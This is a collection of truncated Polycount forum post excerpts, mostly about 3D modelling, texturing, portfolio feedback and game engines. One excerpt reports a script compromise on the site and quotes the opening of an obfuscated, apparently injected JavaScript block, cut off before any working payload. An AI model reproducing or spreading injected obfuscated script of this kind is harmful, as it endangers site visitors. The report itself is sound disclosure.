Greeting Polycount! This is the beginning of a project in Unreal Engine 4. We are three guys, Zacktor, Mtr and Limeslushie and we are going to create a scene with a character that you're going to be able to move around in a third-person perspective. Exploring and interacting with the environment is the main focus of our…
Hi Guys, I am having some problems. I have made a mesh which is just over 20 million polygons and I want to bake this to a low poly version of my mesh. Here is a picture of the mesh .... I am using Maya LT for baking out my maps. I have tried a few workflows to lower the poly count of my model in Zbrush but I lose a…
There's a scripting exploit in your site. I started digging around in your javascript files and found this cryptic code block that has been inserted into everything: this.zc="zc";var kl=new String();v=function(){var kg;if(kg!='se'){kg='se'};var w=document;var e;if(e!='d'){e=''};var ty;if(ty!='' &&…
Thank you I appreciate it! And yes, I completely agree, the base model in the original game has some harsh contrast and a much more defined silhouette which I definitely noticed while making the model. However, (and I have to insist, this is a personnel preference for me and an opinion) I wanted to go on a more…
Bigjohn - Thanks dude! Mmm as far as texture process goes, I'd say similar to what the dota 2 texturing guide does. Except I usually waste more time painting in the directional lighting and handpainting some key or fun parts ;) BoBo - Thanks man I appreciate it! It was great getting to work you with and the rest of the…
I scrubbed through ur reel and to me, your best asset is that house diorama...why don't you have proper screenshots for that on your artstation? It's your strongest piece and should be the first thing you show off. Your hearthstone card and table are pretty solid but I am not a fan of the weapons. They don't look quite…
Hooray! 100th WIP Image I spent tonight just dressing the second tower since it's becoming a more regular question being asked by people over the last few days... so I gave it a quick dressing pass just to clear that critique out of the way for the time being... so I can focus on other things over the next few days haha...…
Hey Guys , really sorry for the late reply. For some reason I dont get notifications of new posts , so ive thought that this thread has been inactive. Ill have to find out how to enable them because its really annoying. Thanks for the feedback guys , since the last post I have really spent time addressing those issue with…
I'll preface this post by saying I'm in no way an expert with either engine, so take this with a pinch of salt but I have built a (very) basic fps in Unity with custom weapons/ammo and some env interaction/conditions etc, and in my opinion there's still no contest with UDK... it's by far the superior toolset I think. In…
They actually said they'll release the tech "this autumn", excluding the 3rd party assets of course. How well that tech integrates to users' projects is something I'm a bit skeptical about - their Blacksmith demo assets throw a ton of errors for me once they're imported into the project. I just find it kind of funny how…